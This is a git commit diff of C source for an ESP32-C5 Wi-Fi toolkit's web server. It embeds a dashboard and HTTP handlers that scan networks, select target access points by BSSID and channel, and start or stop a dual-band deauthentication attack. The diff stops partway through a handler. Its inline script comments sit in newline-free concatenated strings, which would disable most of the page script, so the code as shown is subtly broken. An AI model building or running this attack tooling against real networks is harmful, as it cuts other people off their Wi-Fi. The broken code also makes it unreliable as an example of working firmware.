Initial commit: project docs and ignore rules
This commit is contained in:
600
ESP32-C5-Toolkit/main/enhanced_web_server.c
Normal file
600
ESP32-C5-Toolkit/main/enhanced_web_server.c
Normal file
@@ -0,0 +1,600 @@
|
||||
/**
|
||||
* @file enhanced_web_server.c
|
||||
* @brief ESP32-C5 Toolkit - Full Featured Web Interface
|
||||
*
|
||||
* Features from all projects combined:
|
||||
* - Dual-band WiFi Scanner (2.4GHz + 5GHz)
|
||||
* - Dual-band Deauth Engine (simultaneous attack)
|
||||
* - Channel Usage Visualization (Chart.js)
|
||||
* - Signal Analysis & RSSI Graphs
|
||||
* - Packet Sniffer
|
||||
* - Reconnaissance Dashboard
|
||||
*/
|
||||
|
||||
#include "esp_http_server.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_system.h"
|
||||
#include "esp_timer.h"
|
||||
#include "cJSON.h"
|
||||
#include "deauth_engine.h"
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define TAG "EnhancedWeb"
|
||||
|
||||
// Store last scan results
|
||||
static wifi_ap_record_t *last_scan_results = NULL;
|
||||
static uint16_t last_scan_count = 0;
|
||||
|
||||
// Store channel stats
|
||||
static int channel_24ghz[14] = {0}; // Channels 1-13 (+1 for index)
|
||||
static int channel_5ghz[200] = {0}; // 5GHz channels indexed by number
|
||||
static int rssi_history[50] = {0}; // Last 50 RSSI readings
|
||||
static int rssi_index = 0;
|
||||
|
||||
// ============================================================================
|
||||
// EMBEDDED HTML - Full Featured Dashboard
|
||||
// ============================================================================
|
||||
static const char* get_enhanced_html(void) {
|
||||
static const char html[] =
|
||||
"<!DOCTYPE html>"
|
||||
"<html lang='en'>"
|
||||
"<head>"
|
||||
"<meta charset='UTF-8'>"
|
||||
"<meta name='viewport' content='width=device-width, initial-scale=1.0'>"
|
||||
"<title>ESP32-C5 TOOLKIT</title>"
|
||||
"<script src='https://cdn.jsdelivr.net/npm/chart.js'></script>"
|
||||
"<style>"
|
||||
"@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap');"
|
||||
"*{margin:0;padding:0;box-sizing:border-box}"
|
||||
":root{"
|
||||
"--primary:#00ff41;--secondary:#00d4ff;--danger:#ff0040;--warning:#ff9800;"
|
||||
"--bg-dark:#0a0a0a;--bg-panel:#111;--border:#00ff41;--text:#00ff41}"
|
||||
"body{font-family:'JetBrains Mono',monospace;background:var(--bg-dark);color:var(--text);overflow-x:hidden}"
|
||||
"body::before{content:'';position:fixed;top:0;left:0;width:100%;height:100%;"
|
||||
"background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,255,65,0.03) 2px,rgba(0,255,65,0.03) 4px);"
|
||||
"pointer-events:none;z-index:0}"
|
||||
".container{display:grid;grid-template-columns:250px 1fr;min-height:100vh;position:relative;z-index:1}"
|
||||
".sidebar{background:var(--bg-panel);border-right:2px solid var(--border);padding:15px 0}"
|
||||
".sidebar h1{padding:15px;font-size:1.2rem;border-bottom:1px solid var(--border);text-align:center;text-shadow:0 0 10px var(--primary)}"
|
||||
".sidebar ul{list-style:none;margin-top:20px}"
|
||||
".sidebar li{padding:12px 20px;cursor:pointer;transition:all 0.3s;border-left:3px solid transparent}"
|
||||
".sidebar li:hover,.sidebar li.active{background:#1a1a1a;border-left-color:var(--primary)}"
|
||||
".sidebar li.active{color:var(--primary);font-weight:bold}"
|
||||
".main{padding:20px;overflow-y:auto}"
|
||||
".page{display:none}.page.active{display:block}"
|
||||
".card{background:var(--bg-panel);border:1px solid var(--border);padding:20px;margin:15px 0;border-radius:5px}"
|
||||
".card h2{margin-bottom:15px;color:var(--primary);border-bottom:1px solid #333;padding-bottom:10px}"
|
||||
".btn{background:var(--bg-panel);color:var(--primary);border:1px solid var(--primary);padding:10px 20px;"
|
||||
"cursor:pointer;font-family:inherit;margin:5px;border-radius:3px;transition:all 0.3s}"
|
||||
".btn:hover{background:var(--primary);color:#000}"
|
||||
".btn-danger{border-color:var(--danger);color:var(--danger)}"
|
||||
".btn-danger:hover{background:var(--danger);color:#fff}"
|
||||
".btn-warning{border-color:var(--warning);color:var(--warning)}"
|
||||
".btn-warning:hover{background:var(--warning);color:#000}"
|
||||
".grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(300px,1fr));gap:20px}"
|
||||
".stat-box{text-align:center;padding:20px}"
|
||||
".stat-box .value{font-size:2.5em;color:var(--secondary);text-shadow:0 0 20px var(--secondary)}"
|
||||
".stat-box .label{color:#888;margin-top:5px}"
|
||||
"table{width:100%;border-collapse:collapse;margin:10px 0}"
|
||||
"th,td{border:1px solid #333;padding:10px;text-align:left}"
|
||||
"th{background:#1a1a1a;color:var(--primary)}"
|
||||
"tr:hover{background:#1a1a1a}"
|
||||
".network{padding:10px;border:1px solid #333;margin:5px 0;cursor:pointer;transition:all 0.3s}"
|
||||
".network:hover{border-color:var(--primary);background:#1a1a1a}"
|
||||
".network.selected-24{border-color:#2196F3;background:#1565C0}"
|
||||
".network.selected-5{border-color:var(--warning);background:#663D00}"
|
||||
".band-24{color:#2196F3}.band-5{color:var(--warning)}"
|
||||
".rssi-bar{height:8px;background:#333;border-radius:4px;overflow:hidden}"
|
||||
".rssi-fill{height:100%;transition:width 0.3s}"
|
||||
".chart-container{height:300px;position:relative}"
|
||||
".status-running{color:var(--danger);animation:pulse 1s infinite}"
|
||||
"@keyframes pulse{0%,100%{opacity:1}50%{opacity:0.5}}"
|
||||
".target-card{display:inline-block;padding:15px;margin:10px;border-radius:8px;min-width:200px}"
|
||||
".target-24{background:#1565C0;border:2px solid #2196F3}"
|
||||
".target-5{background:#663D00;border:2px solid var(--warning)}"
|
||||
".warning-box{background:#331111;border:1px solid var(--danger);padding:15px;margin:10px 0;border-radius:5px}"
|
||||
".info-box{background:#112233;border:1px solid var(--secondary);padding:15px;margin:10px 0;border-radius:5px}"
|
||||
"@media(max-width:768px){.container{grid-template-columns:1fr}.sidebar{display:none}}"
|
||||
"</style>"
|
||||
"</head>"
|
||||
"<body>"
|
||||
"<div class='container'>"
|
||||
"<div class='sidebar'>"
|
||||
"<h1>📡 ESP32-C5<br>TOOLKIT</h1>"
|
||||
"<ul id='nav'>"
|
||||
"<li class='active' data-page='dashboard'>📊 Dashboard</li>"
|
||||
"<li data-page='scanner'>🔍 WiFi Scanner</li>"
|
||||
"<li data-page='deauth'>⚡ Deauth Engine</li>"
|
||||
"<li data-page='channels'>📶 Channel Map</li>"
|
||||
"<li data-page='recon'>🕵 Reconnaissance</li>"
|
||||
"<li data-page='settings'>⚙ Settings</li>"
|
||||
"</ul>"
|
||||
"</div>"
|
||||
"<div class='main'>"
|
||||
|
||||
"<!-- DASHBOARD PAGE -->"
|
||||
"<div id='dashboard' class='page active'>"
|
||||
"<h1>📊 System Dashboard</h1>"
|
||||
"<div class='grid'>"
|
||||
"<div class='card stat-box'><div class='value' id='heap'>--</div><div class='label'>Free Heap</div></div>"
|
||||
"<div class='card stat-box'><div class='value' id='networks'>--</div><div class='label'>Networks Found</div></div>"
|
||||
"<div class='card stat-box'><div class='value' id='attack-status'>IDLE</div><div class='label'>Deauth Status</div></div>"
|
||||
"</div>"
|
||||
"<div class='card'><h2>📈 Signal Strength History</h2><div class='chart-container'><canvas id='rssiChart'></canvas></div></div>"
|
||||
"<div class='card'><h2>🌐 Quick Actions</h2>"
|
||||
"<button class='btn' onclick='quickScan()'>🔍 Quick Scan</button>"
|
||||
"<button class='btn' onclick='showPage(\"deauth\")'>⚡ Deauth Engine</button>"
|
||||
"<button class='btn' onclick='showPage(\"channels\")'>📶 Channel Map</button>"
|
||||
"</div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- SCANNER PAGE -->"
|
||||
"<div id='scanner' class='page'>"
|
||||
"<h1>🔍 Dual-Band WiFi Scanner</h1>"
|
||||
"<div class='card'>"
|
||||
"<button class='btn' onclick='scanNetworks()'>🔍 SCAN ALL NETWORKS</button>"
|
||||
"<span id='scan-status' style='margin-left:20px'></span>"
|
||||
"</div>"
|
||||
"<div class='grid'>"
|
||||
"<div class='card'><h2>📶 2.4 GHz Networks</h2><div id='networks-24'></div></div>"
|
||||
"<div class='card'><h2>📡 5 GHz Networks</h2><div id='networks-5'></div></div>"
|
||||
"</div>"
|
||||
"<div class='card'><h2>📋 All Networks</h2><div id='networks-table'></div></div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- DEAUTH PAGE -->"
|
||||
"<div id='deauth' class='page'>"
|
||||
"<h1>⚡ Dual-Band Deauth Engine</h1>"
|
||||
"<div class='warning-box'>⚠ WARNING: Use ONLY on networks YOU OWN! Unauthorized use is ILLEGAL!</div>"
|
||||
"<div class='info-box'>💡 This attacks BOTH 2.4GHz and 5GHz targets SIMULTANEOUSLY by rapid channel switching.<br>"
|
||||
"⚠ WiFi AP will be OFFLINE during attack and auto-restore after.</div>"
|
||||
"<div class='card'><h2>🎯 Selected Targets</h2><div id='targets'><p style='color:#888'>Scan networks first, then select targets</p></div></div>"
|
||||
"<div class='card'><h2>⚙ Attack Configuration</h2>"
|
||||
"<p>Duration: <input type='number' id='duration' value='30' min='10' max='300' style='background:#222;border:1px solid #333;color:#0f0;padding:5px;width:80px'> seconds</p>"
|
||||
"<p style='color:#888;margin-top:10px'>10-300 seconds recommended. AP auto-restores after attack.</p>"
|
||||
"</div>"
|
||||
"<div class='card'>"
|
||||
"<button class='btn btn-danger' onclick='startDeauth()' id='attack-btn'>⚡ START DUAL-BAND ATTACK</button>"
|
||||
"<button class='btn' onclick='stopDeauth()'>🛑 STOP ATTACK</button>"
|
||||
"</div>"
|
||||
"<div class='card'><h2>📊 Attack Statistics</h2><div id='attack-stats'><p style='color:#888'>No attack running</p></div></div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- CHANNEL MAP PAGE -->"
|
||||
"<div id='channels' class='page'>"
|
||||
"<h1>📶 Channel Utilization Map</h1>"
|
||||
"<div class='card'><h2>📶 2.4 GHz Channels (1-13)</h2><div class='chart-container'><canvas id='chart24'></canvas></div></div>"
|
||||
"<div class='card'><h2>📡 5 GHz Channels</h2><div class='chart-container'><canvas id='chart5'></canvas></div></div>"
|
||||
"<div class='card'><h2>📊 Channel Details</h2><div id='channel-details'></div></div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- RECON PAGE -->"
|
||||
"<div id='recon' class='page'>"
|
||||
"<h1>🕵 Network Reconnaissance</h1>"
|
||||
"<div class='card'><h2>📋 Network Intelligence</h2><div id='recon-data'><p style='color:#888'>Scan networks to gather intelligence</p></div></div>"
|
||||
"<div class='card'><h2>🔒 Security Analysis</h2><div id='security-analysis'></div></div>"
|
||||
"<div class='card'><h2>📶 Vendor Detection</h2><div id='vendor-info'></div></div>"
|
||||
"</div>"
|
||||
|
||||
"<!-- SETTINGS PAGE -->"
|
||||
"<div id='settings' class='page'>"
|
||||
"<h1>⚙ System Settings</h1>"
|
||||
"<div class='card'><h2>💻 System Info</h2><div id='sysinfo'>Loading...</div></div>"
|
||||
"<div class='card'><h2>🔄 Device Control</h2><button class='btn btn-danger' onclick='rebootDevice()'>🔄 Reboot Device</button></div>"
|
||||
"</div>"
|
||||
|
||||
"</div></div>"
|
||||
|
||||
"<script>"
|
||||
"let networks=[];let selected24=null;let selected5=null;let charts={};"
|
||||
"let rssiData=Array(20).fill(-100);"
|
||||
|
||||
"// Navigation"
|
||||
"document.querySelectorAll('#nav li').forEach(item=>{"
|
||||
"item.addEventListener('click',()=>showPage(item.dataset.page))"
|
||||
"});"
|
||||
"function showPage(page){"
|
||||
"document.querySelectorAll('#nav li').forEach(i=>i.classList.remove('active'));"
|
||||
"document.querySelectorAll('.page').forEach(p=>p.classList.remove('active'));"
|
||||
"document.querySelector(`[data-page='${page}']`).classList.add('active');"
|
||||
"document.getElementById(page).classList.add('active');"
|
||||
"}"
|
||||
|
||||
"// Charts initialization"
|
||||
"function initCharts(){"
|
||||
"const ctx1=document.getElementById('rssiChart');"
|
||||
"if(ctx1){charts.rssi=new Chart(ctx1,{type:'line',data:{labels:Array(20).fill(''),datasets:[{label:'RSSI',data:rssiData,borderColor:'#00ff41',tension:0.4,fill:true,backgroundColor:'rgba(0,255,65,0.1)'}]},options:{responsive:true,maintainAspectRatio:false,scales:{y:{min:-100,max:-20}},plugins:{legend:{display:false}}}});}"
|
||||
"const ctx2=document.getElementById('chart24');"
|
||||
"if(ctx2){charts.ch24=new Chart(ctx2,{type:'bar',data:{labels:['1','2','3','4','5','6','7','8','9','10','11','12','13'],datasets:[{label:'Networks',data:Array(13).fill(0),backgroundColor:'#2196F3'}]},options:{responsive:true,maintainAspectRatio:false,scales:{y:{beginAtZero:true}}}});}"
|
||||
"const ctx3=document.getElementById('chart5');"
|
||||
"if(ctx3){charts.ch5=new Chart(ctx3,{type:'bar',data:{labels:['36','40','44','48','52','56','60','64','100','104','108','112','116','120','124','128','132','136','140','144','149','153','157','161','165'],datasets:[{label:'Networks',data:Array(25).fill(0),backgroundColor:'#ff9800'}]},options:{responsive:true,maintainAspectRatio:false,scales:{y:{beginAtZero:true}}}});}"
|
||||
"}"
|
||||
|
||||
"// Scan networks"
|
||||
"async function scanNetworks(){"
|
||||
"document.getElementById('scan-status').innerHTML='<span style=\"color:#00d4ff\">Scanning...</span>';"
|
||||
"try{"
|
||||
"const res=await fetch('/api/scan');"
|
||||
"const data=await res.json();"
|
||||
"networks=data.networks||[];"
|
||||
"document.getElementById('scan-status').innerHTML=`<span style=\"color:#00ff41\">Found ${networks.length} networks</span>`;"
|
||||
"updateNetworkDisplay();"
|
||||
"updateChannelCharts();"
|
||||
"updateRecon();"
|
||||
"document.getElementById('networks').textContent=networks.length;"
|
||||
"}catch(e){document.getElementById('scan-status').innerHTML=`<span style=\"color:#ff0040\">Error: ${e}</span>`;}"
|
||||
"}"
|
||||
"function quickScan(){scanNetworks();}"
|
||||
|
||||
"// Update network display"
|
||||
"function updateNetworkDisplay(){"
|
||||
"let html24='',html5='',tableHtml='<table><tr><th>SSID</th><th>BSSID</th><th>CH</th><th>RSSI</th><th>Security</th><th>Select</th></tr>';"
|
||||
"networks.forEach((n,i)=>{"
|
||||
"const is24=(n.channel<=14);"
|
||||
"const rssiPct=Math.min(100,Math.max(0,100+n.rssi));"
|
||||
"const rssiColor=n.rssi>-50?'#00ff41':n.rssi>-70?'#ff9800':'#ff0040';"
|
||||
"const netHtml=`<div class='network ${selected24&&selected24.bssid===n.bssid?'selected-24':''} ${selected5&&selected5.bssid===n.bssid?'selected-5':''}' onclick='selectNetwork(${i})'><strong>${n.ssid||'(Hidden)'}</strong><br><small>CH:${n.channel} | ${n.rssi}dBm | ${n.security||'Unknown'}</small><br><div class='rssi-bar'><div class='rssi-fill' style='width:${rssiPct}%;background:${rssiColor}'></div></div></div>`;"
|
||||
"if(is24)html24+=netHtml;else html5+=netHtml;"
|
||||
"tableHtml+=`<tr><td>${n.ssid||'(Hidden)'}</td><td><code>${n.bssid}</code></td><td class='${is24?'band-24':'band-5'}'>${n.channel}</td><td>${n.rssi}dBm</td><td>${n.security||'?'}</td>`;"
|
||||
"tableHtml+=`<td><button class='btn ${is24?'':'btn-warning'}' onclick='selectNetwork(${i})'>${is24?'2.4GHz':'5GHz'}</button></td></tr>`;"
|
||||
"});"
|
||||
"tableHtml+='</table>';"
|
||||
"document.getElementById('networks-24').innerHTML=html24||'<p style=\"color:#888\">No 2.4GHz networks</p>';"
|
||||
"document.getElementById('networks-5').innerHTML=html5||'<p style=\"color:#888\">No 5GHz networks</p>';"
|
||||
"document.getElementById('networks-table').innerHTML=tableHtml;"
|
||||
"}"
|
||||
|
||||
"// Select network for attack"
|
||||
"function selectNetwork(idx){"
|
||||
"const n=networks[idx];"
|
||||
"if(n.channel<=14){selected24=n;}else{selected5=n;}"
|
||||
"updateTargets();"
|
||||
"updateNetworkDisplay();"
|
||||
"}"
|
||||
"function updateTargets(){"
|
||||
"let html='';"
|
||||
"if(selected24)html+=`<div class='target-card target-24'><strong>📶 2.4GHz Target</strong><br>${selected24.ssid}<br><code>${selected24.bssid}</code><br>CH:${selected24.channel}</div>`;"
|
||||
"if(selected5)html+=`<div class='target-card target-5'><strong>📡 5GHz Target</strong><br>${selected5.ssid}<br><code>${selected5.bssid}</code><br>CH:${selected5.channel}</div>`;"
|
||||
"document.getElementById('targets').innerHTML=html||'<p style=\"color:#888\">No targets selected</p>';"
|
||||
"}"
|
||||
|
||||
"// Update channel charts"
|
||||
"function updateChannelCharts(){"
|
||||
"if(!charts.ch24||!charts.ch5)return;"
|
||||
"const ch24=Array(13).fill(0);"
|
||||
"const ch5Labels=['36','40','44','48','52','56','60','64','100','104','108','112','116','120','124','128','132','136','140','144','149','153','157','161','165'];"
|
||||
"const ch5=Array(25).fill(0);"
|
||||
"networks.forEach(n=>{"
|
||||
"if(n.channel<=13)ch24[n.channel-1]++;"
|
||||
"else{const idx=ch5Labels.indexOf(String(n.channel));if(idx>=0)ch5[idx]++;}"
|
||||
"});"
|
||||
"charts.ch24.data.datasets[0].data=ch24;charts.ch24.update();"
|
||||
"charts.ch5.data.datasets[0].data=ch5;charts.ch5.update();"
|
||||
"}"
|
||||
|
||||
"// Update recon"
|
||||
"function updateRecon(){"
|
||||
"let securityStats={open:0,wep:0,wpa:0,wpa2:0,wpa3:0};"
|
||||
"networks.forEach(n=>{"
|
||||
"const s=(n.security||'').toLowerCase();"
|
||||
"if(s.includes('open'))securityStats.open++;"
|
||||
"else if(s.includes('wep'))securityStats.wep++;"
|
||||
"else if(s.includes('wpa3'))securityStats.wpa3++;"
|
||||
"else if(s.includes('wpa2'))securityStats.wpa2++;"
|
||||
"else if(s.includes('wpa'))securityStats.wpa++;"
|
||||
"});"
|
||||
"document.getElementById('security-analysis').innerHTML=`<p>Open: <strong style=color:#ff0040>${securityStats.open}</strong></p><p>WEP: <strong style=color:#ff9800>${securityStats.wep}</strong></p><p>WPA: <strong>${securityStats.wpa}</strong></p><p>WPA2: <strong style=color:#00ff41>${securityStats.wpa2}</strong></p><p>WPA3: <strong style=color:#00d4ff>${securityStats.wpa3}</strong></p>`;"
|
||||
"let reconHtml='<table><tr><th>SSID</th><th>Band</th><th>Channel</th><th>Signal</th><th>Security</th></tr>';"
|
||||
"networks.slice(0,20).forEach(n=>{"
|
||||
"reconHtml+=`<tr><td>${n.ssid||'(Hidden)'}</td><td class='${n.channel<=14?'band-24':'band-5'}'>${n.channel<=14?'2.4GHz':'5GHz'}</td><td>${n.channel}</td><td>${n.rssi}dBm</td><td>${n.security||'?'}</td></tr>`;"
|
||||
"});"
|
||||
"reconHtml+='</table>';"
|
||||
"document.getElementById('recon-data').innerHTML=reconHtml;"
|
||||
"}"
|
||||
|
||||
"// Deauth functions"
|
||||
"async function startDeauth(){"
|
||||
"if(!selected24&&!selected5){alert('Select at least one target first!');return;}"
|
||||
"const duration=document.getElementById('duration').value;"
|
||||
"if(!confirm(`Start DUAL-BAND attack?\\n\\n2.4GHz: ${selected24?selected24.ssid:'None'}\\n5GHz: ${selected5?selected5.ssid:'None'}\\n\\nDuration: ${duration}s\\n\\n⚠️ WiFi AP will be OFFLINE during attack!`))return;"
|
||||
"try{"
|
||||
"const body={duration:parseInt(duration)};"
|
||||
"if(selected24)body.target_24ghz={ssid:selected24.ssid,bssid:selected24.bssid,channel:selected24.channel};"
|
||||
"if(selected5)body.target_5ghz={ssid:selected5.ssid,bssid:selected5.bssid,channel:selected5.channel};"
|
||||
"const res=await fetch('/api/deauth/start',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(body)});"
|
||||
"const data=await res.json();"
|
||||
"document.getElementById('attack-stats').innerHTML=`<p style='color:#ff0040' class='status-running'>⚡ ATTACK RUNNING - WiFi will be unavailable!</p><p>Reconnect after ${duration}s when attack completes.</p>`;"
|
||||
"document.getElementById('attack-status').textContent='RUNNING';"
|
||||
"document.getElementById('attack-status').className='value status-running';"
|
||||
"}catch(e){alert('Error: '+e);}"
|
||||
"}"
|
||||
"async function stopDeauth(){"
|
||||
"try{await fetch('/api/deauth/stop');document.getElementById('attack-stats').innerHTML='<p style=\"color:#00ff41\">Attack stopped</p>';document.getElementById('attack-status').textContent='IDLE';}catch(e){}"
|
||||
"}"
|
||||
|
||||
"// System info"
|
||||
"async function loadSysInfo(){"
|
||||
"try{"
|
||||
"const res=await fetch('/api/system-info');"
|
||||
"const data=await res.json();"
|
||||
"document.getElementById('sysinfo').innerHTML=`<p>Chip: ${data.chip||'ESP32-C5'}</p><p>Free Heap: ${data.heap||'?'} bytes</p><p>Version: ${data.version||'1.0'}</p>`;"
|
||||
"document.getElementById('heap').textContent=Math.round((data.heap||0)/1024)+'KB';"
|
||||
"}catch(e){}"
|
||||
"}"
|
||||
"async function rebootDevice(){if(confirm('Reboot device?'))fetch('/api/reboot');}"
|
||||
|
||||
"// Init"
|
||||
"document.addEventListener('DOMContentLoaded',()=>{"
|
||||
"initCharts();"
|
||||
"loadSysInfo();"
|
||||
"scanNetworks();"
|
||||
"});"
|
||||
"</script>"
|
||||
"</body></html>";
|
||||
return html;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HANDLERS
|
||||
// ============================================================================
|
||||
|
||||
static esp_err_t root_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "Serving enhanced dashboard");
|
||||
const char* html = get_enhanced_html();
|
||||
httpd_resp_set_type(req, "text/html");
|
||||
httpd_resp_send(req, html, strlen(html));
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t scan_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "WiFi scan requested");
|
||||
|
||||
// Reset channel stats
|
||||
memset(channel_24ghz, 0, sizeof(channel_24ghz));
|
||||
memset(channel_5ghz, 0, sizeof(channel_5ghz));
|
||||
|
||||
// Start scan
|
||||
wifi_scan_config_t scan_config = {
|
||||
.ssid = NULL,
|
||||
.bssid = NULL,
|
||||
.channel = 0,
|
||||
.show_hidden = true,
|
||||
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
|
||||
.scan_time.active.min = 100,
|
||||
.scan_time.active.max = 300
|
||||
};
|
||||
|
||||
esp_err_t err = esp_wifi_scan_start(&scan_config, true);
|
||||
if (err != ESP_OK) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"networks\":[]}");
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
uint16_t ap_count = 0;
|
||||
esp_wifi_scan_get_ap_num(&ap_count);
|
||||
|
||||
if (last_scan_results) free(last_scan_results);
|
||||
last_scan_results = malloc(sizeof(wifi_ap_record_t) * ap_count);
|
||||
last_scan_count = ap_count;
|
||||
|
||||
esp_wifi_scan_get_ap_records(&ap_count, last_scan_results);
|
||||
|
||||
// Build JSON
|
||||
cJSON *root = cJSON_CreateObject();
|
||||
cJSON *networks = cJSON_CreateArray();
|
||||
|
||||
for (int i = 0; i < ap_count; i++) {
|
||||
cJSON *ap = cJSON_CreateObject();
|
||||
cJSON_AddStringToObject(ap, "ssid", (char*)last_scan_results[i].ssid);
|
||||
cJSON_AddNumberToObject(ap, "rssi", last_scan_results[i].rssi);
|
||||
cJSON_AddNumberToObject(ap, "channel", last_scan_results[i].primary);
|
||||
|
||||
// BSSID
|
||||
char bssid[18];
|
||||
snprintf(bssid, sizeof(bssid), "%02x:%02x:%02x:%02x:%02x:%02x",
|
||||
last_scan_results[i].bssid[0], last_scan_results[i].bssid[1],
|
||||
last_scan_results[i].bssid[2], last_scan_results[i].bssid[3],
|
||||
last_scan_results[i].bssid[4], last_scan_results[i].bssid[5]);
|
||||
cJSON_AddStringToObject(ap, "bssid", bssid);
|
||||
|
||||
// Band
|
||||
cJSON_AddStringToObject(ap, "band", last_scan_results[i].primary > 14 ? "5GHz" : "2.4GHz");
|
||||
|
||||
// Security
|
||||
const char* security;
|
||||
switch (last_scan_results[i].authmode) {
|
||||
case WIFI_AUTH_OPEN: security = "Open"; break;
|
||||
case WIFI_AUTH_WEP: security = "WEP"; break;
|
||||
case WIFI_AUTH_WPA_PSK: security = "WPA"; break;
|
||||
case WIFI_AUTH_WPA2_PSK: security = "WPA2"; break;
|
||||
case WIFI_AUTH_WPA_WPA2_PSK: security = "WPA/WPA2"; break;
|
||||
case WIFI_AUTH_WPA3_PSK: security = "WPA3"; break;
|
||||
case WIFI_AUTH_WPA2_WPA3_PSK: security = "WPA2/WPA3"; break;
|
||||
default: security = "Unknown";
|
||||
}
|
||||
cJSON_AddStringToObject(ap, "security", security);
|
||||
|
||||
// Update channel stats
|
||||
if (last_scan_results[i].primary <= 13) {
|
||||
channel_24ghz[last_scan_results[i].primary]++;
|
||||
}
|
||||
|
||||
// Store RSSI for history
|
||||
rssi_history[rssi_index] = last_scan_results[i].rssi;
|
||||
rssi_index = (rssi_index + 1) % 50;
|
||||
|
||||
cJSON_AddItemToArray(networks, ap);
|
||||
}
|
||||
|
||||
cJSON_AddItemToObject(root, "networks", networks);
|
||||
cJSON_AddNumberToObject(root, "count", ap_count);
|
||||
|
||||
char *json = cJSON_PrintUnformatted(root);
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_send(req, json, strlen(json));
|
||||
|
||||
free(json);
|
||||
cJSON_Delete(root);
|
||||
|
||||
ESP_LOGI(TAG, "Found %d networks", ap_count);
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t deauth_start_handler(httpd_req_t *req) {
|
||||
ESP_LOGI(TAG, "Deauth start requested");
|
||||
|
||||
char buf[512];
|
||||
int ret = httpd_req_recv(req, buf, sizeof(buf) - 1);
|
||||
if (ret <= 0) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"No data\"}");
|
||||
return ESP_OK;
|
||||
}
|
||||
buf[ret] = '\0';
|
||||
|
||||
cJSON *root = cJSON_Parse(buf);
|
||||
if (!root) {
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Invalid JSON\"}");
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
deauth_target_t target_24 = {0};
|
||||
deauth_target_t target_5 = {0};
|
||||
|
||||
// Parse 2.4GHz target
|
||||
cJSON *t24 = cJSON_GetObjectItem(root, "target_24ghz");
|
||||
if (t24) {
|
||||
cJSON *ssid = cJSON_GetObjectItem(t24, "ssid");
|
||||
cJSON *bssid = cJSON_GetObjectItem(t24, "bssid");
|
||||
cJSON *channel = cJSON_GetObjectItem(t24, "channel");
|
||||
|
||||
if (cJSON_IsString(ssid) && cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
|
||||
strncpy(target_24.ssid, ssid->valuestring, sizeof(target_24.ssid) - 1);
|
||||
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&target_24.bssid[0], &target_24.bssid[1], &target_24.bssid[2],
|
||||
&target_24.bssid[3], &target_24.bssid[4], &target_24.bssid[5]);
|
||||
target_24.channel = (uint8_t)channel->valueint;
|
||||
target_24.active = true;
|
||||
}
|
||||
}
|
||||
|
||||
// Parse 5GHz target
|
||||
cJSON *t5 = cJSON_GetObjectItem(root, "target_5ghz");
|
||||
if (t5) {
|
||||
cJSON *ssid = cJSON_GetObjectItem(t5, "ssid");
|
||||
cJSON *bssid = cJSON_GetObjectItem(t5, "bssid");
|
||||
cJSON *channel = cJSON_GetObjectItem(t5, "channel");
|
||||
|
||||
if (cJSON_IsString(ssid) && cJSON_IsString(bssid) && cJSON_IsNumber(channel)) {
|
||||
strncpy(target_5.ssid, ssid->valuestring, sizeof(target_5.ssid) - 1);
|
||||
sscanf(bssid->valuestring, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx",
|
||||
&target_5.bssid[0], &target_5.bssid[1], &target_5.bssid[2],
|
||||
&target_5.bssid[3], &target_5.bssid[4], &target_5.bssid[5]);
|
||||
target_5.channel = (uint8_t)channel->valueint;
|
||||
target_5.active = true;
|
||||
}
|
||||
}
|
||||
|
||||
// Get duration
|
||||
cJSON *dur = cJSON_GetObjectItem(root, "duration");
|
||||
uint32_t duration = cJSON_IsNumber(dur) ? dur->valueint : 30;
|
||||
|
||||
cJSON_Delete(root);
|
||||
|
||||
// Start attack
|
||||
bool success = deauth_start_attack(
|
||||
target_24.active ? &target_24 : NULL,
|
||||
target_5.active ? &target_5 : NULL,
|
||||
duration
|
||||
);
|
||||
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
if (success) {
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Dual-band attack started\"}");
|
||||
} else {
|
||||
httpd_resp_sendstr(req, "{\"status\":\"error\",\"message\":\"Failed to start attack\"}");
|
||||
}
|
||||
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t deauth_stop_handler(httpd_req_t *req) {
|
||||
deauth_stop_attack();
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_sendstr(req, "{\"status\":\"ok\",\"message\":\"Attack stopped\"}");
|
||||
return ESP_OK;
|
||||
}
|
||||
|
||||
static esp_err_t sysinfo_handler(httpd_req_t *req) {
|
||||
cJSON *root = cJSON_CreateObject();
|
||||
cJSON_AddStringToObject(root, "chip", "ESP32-C5");
|
||||
cJSON_AddNumberToObject(root, "heap", esp_get_free_heap_size());
|
||||
cJSON_AddStringToObject(root, "version", "2.0.0");
|
||||
cJSON_AddBoolToObject(root, "attack_running", deauth_is_running());
|
||||
|
||||
char *json = cJSON_PrintUnformatted(root);
|
||||
httpd_resp_set_type(req, "application/json");
|
||||
httpd_resp_send(req, json, strlen(json));
|
||||
|
